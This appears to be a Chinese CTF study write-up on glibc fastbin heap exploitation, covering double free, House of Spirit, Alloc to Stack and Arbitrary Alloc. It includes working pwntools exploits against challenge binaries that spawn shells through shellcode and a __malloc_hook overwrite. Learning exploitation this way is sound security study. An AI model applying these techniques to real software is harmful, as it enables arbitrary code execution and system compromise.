fastbin_attack

Introduction

fastbin attack指所有基于fastbin机制的漏洞利用方法,利用前提:

  • 存在堆溢出、uaf等能控制chunk内容的漏洞
  • 漏洞发生于 fastbin类型的chunk中

细分可做到如下分类

  • Fastbin Double Free
  • House of Spirit

Fastbin Double Free 和 House of Spirit 侧重“正常由用户创建的chunk”和“由攻击者伪造的chunk”,然后再次申请chunk进行攻击

  • Alloc to Stack
  • Arbitary Alloc

Alloc to Stack 和 Arbitary Alloc 侧重利用堆溢出等方式修改chunk的fd指针,即直接申请指定位置的chunk进行攻击

Principle

if a chunk is freed and goes into fastbin the prev_inuse flag of the next heap will not be cleared

  • PREV_INUSE(abbreviated as P,in the lowest bit of the chunk size field)

    Record whether the previous chunk block is in the allocated state.In general,the P-bit of the size field of the first allocated memory block in the heap is set to 1 to prevent access to the previous illegal memory. When the P-bit of a chunk is 0,we can use the prev_size field to get the size and address of the previous chunk.This also facilitates merging between idle chunks.

image-20250412200540385image-20250412200629044

1. double free

  1. Once the fastbin’s heap is freed the P-bit of the next chunk will not be emptied
  2. when free fastbin,just verify the chunk that the main arena points to,i.e.,the chunk at the head of the linked list pointer.For the chunks behind the linked list,there’s no validation.

https://xuanxuanblingbling.github.io/assets/pwn/paper

example

paperimage-20250412204239899

withoutlink_list[del_index]=NULL,UAF

利用思想: 利用fastbin的free只检查是否和上一个freechunk相等,使得同一个chunk两次进入free list,造成UAF,可以更改fastbin free chunk的fd信息,最终分配一个特定地址
利用难点

需要能够两次free同一个chunk
更改fd的时候,为了能够在之后的malloc之后返回这个值,需要通过一个check,会检查fd指向的这个位置的size(这个位置可以不用对齐),看是否属于正要malloc的这个bin的范围。
详细信息

其漏洞的主要原因在于fastbin
的实现其实是一个单链表实现的栈,后进先出,free的时候只检查了这个栈的栈顶,这样的话,
只要不是连续的free两次同一个chunk,就可以顺利的将一个chunk放进free list。之后的分配会使得
chunk虽然在free list里,但是也被分配了出来,这样就可以更改到fd指针,使其指向其他位置。

检查栈顶的代码如下:

/* Check that the top of the bin is not the record we are going to add
   (i.e., double free).  */
if (__builtin_expect (old == p, 0))
  {
    errstr = "double free or corruption (fasttop)";
    goto errout;
  }

需要注意的一点是,在分配的时候还有一个检查:

      if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
        {
          errstr = "malloc(): memory corruption (fast)";
        errout:
          malloc_printerr (check_action, errstr, chunk2mem (victim), av);
          return NULL;
        }
      check_remalloced_chunk (av, victim, nb);

这个检查是指即将分配的这个chunk大小应该在其相应大小的idx上,比如size都为0x20大小的
fastbin,能够接受的值就是0x20-0x27范围,分配过去应该有这个范围的值(被当做size),
否则将会出现memory corruption。

所以利用的时候需要想办法找到一个相应的size,这个size其实是不需要对齐的(just check low 4 bytes),所以可以通过
错位的方式构造一个假的size值出来。找到相应的size就可以进行分配到相应位置了。image-20250412220831246

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]

p=process('./paper')
elf=ELF('./paper')
def add(idx,size,content):
p.sendlineafter("delete paper","1")
p.sendlineafter("0-9",str(idx))
p.sendlineafter("long",str(size))
p.sendlineafter("content",content)

def delete(idx):
p.sendlineafter("delete paper","2")
p.sendlineafter("0-9",str(idx))


add(0,0x30,"1")
add(1,0x30,"1")

delete(0)
delete(1)
delete(0)

add(0,0x30,p64(0x60202a))
add(0,0x30,"1")
add(0,0x30,"1")


add(0,0x30,b"\x40\x00\x00\x00\x00\x00"+p64(elf.symbols['gg']))


p.interactive()

2. House of Spirit

principle

The key to using house of Spirit is the ability to override a heap poiont(the address that malloc_data returned in the chunk after calling malloc)to point an area can be controlled.

  1. 伪造堆块
  2. 覆盖堆指针指上一步伪造的堆块
  3. 释放堆块,将伪造的堆块放入fastbin的单链表里面(绕过检测)
  4. 申请堆块,释放刚才申请的堆块,最终可以使向目标区域中写入数据,以达到控制内存的目的

一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们是无法通过输入数据来进行控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间。

image-20250423162555963

free时需要被绕过的检测

  1. fake chunkISMMAP位不能为1,free时,mmap的chunk会单独处理
  2. fake chunk地址对齐,MALLOC_ALIGN_MASK
  3. size大小要满足对应fastbin的需求,同时也得对齐
  4. fake_chunknext chunk的大小不能小于2*SIZE_SZ,同时也不能大于av->system_mem
  5. fastbin的链表头部不能是该fake_chunk,否则不能构成double free

summary

总的来说,houseofspirit的主要意思是我们想要控制的区域控制不了,但是它前面和后面都可以控制,所以伪造好数据将它放入fastbin中,后面将该内存区域当作堆块申请出来,致使该区域被当作普通的内存使用,从而使目标区域变成可控的。

example

LCTF 2016 : PWN200 - 吾爱破解 - 52pojie.cn

2016-iscc-pwn200image-20250418134608234image-20250418135348455

循环48次,分配了48字节,填满由于printf的特性(打印直到\x00)可以泄露ebp

如果输入0x38位,那么实际输入的会是0x39位,因为read函数也会将’/n’输入到内存中,结果是会覆盖掉dest最低的一个字节,导致不能查看堆信息。

image-20250418140737023

溢出

640

exp

  1. 输入name的时候,将shellcode输入,并补齐0x30字节,以通过off-by-one漏洞泄漏rbp地址;image-20250424152122813

  2. 输入money的时候,在money里伪造chunk,注意要绕过free函数的检查。并通过相邻变量覆盖漏洞覆盖dest指针,将其覆盖为fake chunk的user data地址,那么输入完之后,dest指针赋值给ptr,ptr也指向fake chunk的user data地址。image-20250424152224738

    框中依次为size,return_address,shellcode

  3. 调用checkout,将伪造chunk放入fastbin中,并置ptr指针为NULL;image-20250424152555116

    fastbins中有了栈地址。申请0x30大小即可将其申请出来

    该地址+0x10即为用户区image-20250424152911021填充0x18的nop,再写入shellcode的地址即可让程序转而执行shellcode

  4. 调用checkin,因为ptr==NULL,将重新malloc指定大小的chunk并输入数据,此时,便可以malloc可控1区域下方的不可控区域,覆盖input_number_and_menu函数的返回地址为shellcode地址;image-20250424153639792看到返回地址已经变为shellcode地址

  5. 退出时choose函数跳转去执行shellcode。getshell!image-20250424153838669

from pwn import *
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'

elf = ELF('./pwn200')

p = process('./pwn200')

def leek_rbp():
global fake_addr
global shellcode_addr

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x30, b'\x90')

p.recvuntil(b'who are u?\n')
p.send(payload)
p.recvuntil(payload)
rbp_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info("rbp_addr: 0x%x" % rbp_addr)

shellcode_addr = rbp_addr - 0x50
log.info("shellcode_addr: 0x%x" % shellcode_addr)
fake_addr = rbp_addr - 0x90

def overwrite_dest():
p.recvuntil(b'give me your id ~~?\n')
p.sendline(b'65')
p.recvuntil(b'give me money~\n')
data = p64(0) * 4 + p64(0) + p64(0x41) + p64(0) + p64(fake_addr)
p.send(data)


def get_shell():
p.recvuntil(b'choice : ')
p.sendline(b'2')

p.recvuntil(b'choice : ')
p.sendline(b'1')

p.recvuntil(b'long?\n')
p.sendline(b'48')
p.recvline(b'48')

data = b'\x90'*0x18 + p64(shellcode_addr)
data = data.ljust(0x30, b'\x90')

p.send(data)

p.recvuntil(b'choice')
p.sendline(b'3')

p.interactive()

def pwn():
leek_rbp()
overwrite_dest()
get_shell()

if __name__ == '__main__':
pwn()

Alloc to Stack

模拟样例

#include <stdio.h>
#include <stdlib.h>

typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK, *PCHUNK;

int main(void)
{
CHUNK stack_chunk; // 在栈上伪造一个 chunk
void *chunk1;
void *chunk_a;

stack_chunk.size = 0x21; // 设置 fake chunk 的大小字段(fastbin)

chunk1 = malloc(0x10); // 分配一个 fastbin chunk
free(chunk1); // 释放它进入 fastbin

// 模拟 Use-After-Free,写入 fastbin 链表中的 fd 指针
*(long long *)chunk1 = (long long)&stack_chunk;

malloc(0x10); // 第一次分配拿回 chunk1
chunk_a = malloc(0x10); // 第二次分配返回 stack_chunk 的地址

return 0;
}

Arbitrary Alloc

要利用Alloc to Stack这个条件,对应的堆的地址必须要有合法的size,这样才能将堆内存分配到栈中,从而控制栈中的任意内存地址。而这个ArbitraryAlloc和AlloctoStack基本上完全相同,但是控制的内存地址不在仅仅局限于栈,而是任意的内存地址,比如说bss、heap、data、stack等等。

模拟示例:

#include <stdio.h>
#include <stdlib.h>

int main(void) {
void *chunk1;
void *chunk_a;

// 分配一个大小为 0x60 的 chunk
chunk1 = malloc(0x60);
// 释放 chunk1,chunk1 被放入 fastbin
free(chunk1);
// 修改 chunk1 指针的内容,使其指向目标地址 - 0x8
*(long long *)chunk1 = 0x7ffff7dd1af5 - 0x8;

// malloc 两次:第一次取出 fastbin 中的 chunk(被我们伪造)
malloc(0x60);
// 第二次 malloc 返回伪造地址,赋值给 chunk_a
chunk_a = malloc(0x60);
return 0;
}

image-20250424181249963

错位构造出一个0x00……007f,计算出的chunk的大小为0x70,包含0x10的chunk_header,分配0x60的内容。

free之后伪造fd为0x7ffff7dd1af5 - 0x8,2次malloc后出现的地址就会是0x7ffff7dd1af5 + 0x8此时堆内存已经分配到了栈上,并且可以继续向下延伸控制栈空间。

example

image-20250426211536407

分析

对主要的函数进行分析,

并简单修正IDA反编译结果,看起来舒服多了

主要函数为Allocate,Fill,Free,Dump

image-20250427153524182

这里让我们重新输入Size,但是没有修改chunk的size域,所以我们可以进行任意堆溢出

我们希望使用unsortedbin来泄漏libc基地址,所以必须要有chunk可以被链接到unsorted bin中,所以该chunk不能被回收到 fastbin chunk,也不能和 top chunk相邻。因为后者在不是fastbin的情况下,会被合并到top chunk中。

exp

参考exp如下:

from pwn import *
p = process('./heap')
elf = ELF('./heap')

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
#首先是定义的一些函数,对应着程序的功能
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset

alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4
#首先申请4个fast chunk和1个small chunk
gdb.attach(p)
pause()

#free index1和index2
free(1)
free(2)
#fastbin[0]->index2->index1
pause()

#溢出修改index2的fd指针为index4的chunk header
payload=p64(0)*3+p64(0x21)
payload+=p64(0)*3+p64(0x21)
payload+=p8(0x80)
fill(0, payload)
pause()

#fill index3,修改index4的大小为0x21使其可以进入fastbin
payload = p64(0)*3+p64(0x21)
fill(3, payload)

#第一个是index2,第二个会分配index4
alloc(0x10)
alloc(0x10)

#修改index4的size为0x91,使其可以进入unsortedbin
payload = p64(0)*3+p64(0x91)
fill(3, payload)
#防止index4与top chunk合并,先申请一个,再free4到unsortedbin中
#当unsortedbin中只有一个空闲的chunk时,fd和bk均指向本身
alloc(0x80)
free(4)

pause()
#当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处
#而main_arena是libc的data段中,偏移也是固定的,根据这些就可以计算出libc的基地址了
#当small chunk释放时,能读出fd 或者 bk的值

unsorted_addr=u64(dump(2)[:8].strip().ljust(8, b"\x00"))
libc_base=unsorted_addr-0x3c3b20-88#88=unssorted_offset_arena(5)
success("libc_base: "+hex(libc_base))

#控制__malloc_hook
alloc(0x60)#unsortedbin会分裂成2个堆块,有一个仍然在unsortedbin中
#index2_content的指针依然指向index4_chunk_data
free(4)

#修改index4的fd指针
payload = p64(libc_base+0x3c3b20-0x40+0xd)
fill(2, payload)

alloc(0x60)#分配index4
alloc(0x60)#分配index7

payload = p8(0)*3+p64(0)*2
payload += p64(libc_base+0x4525a)
fill(6,payload)
alloc(255)
p.interactive()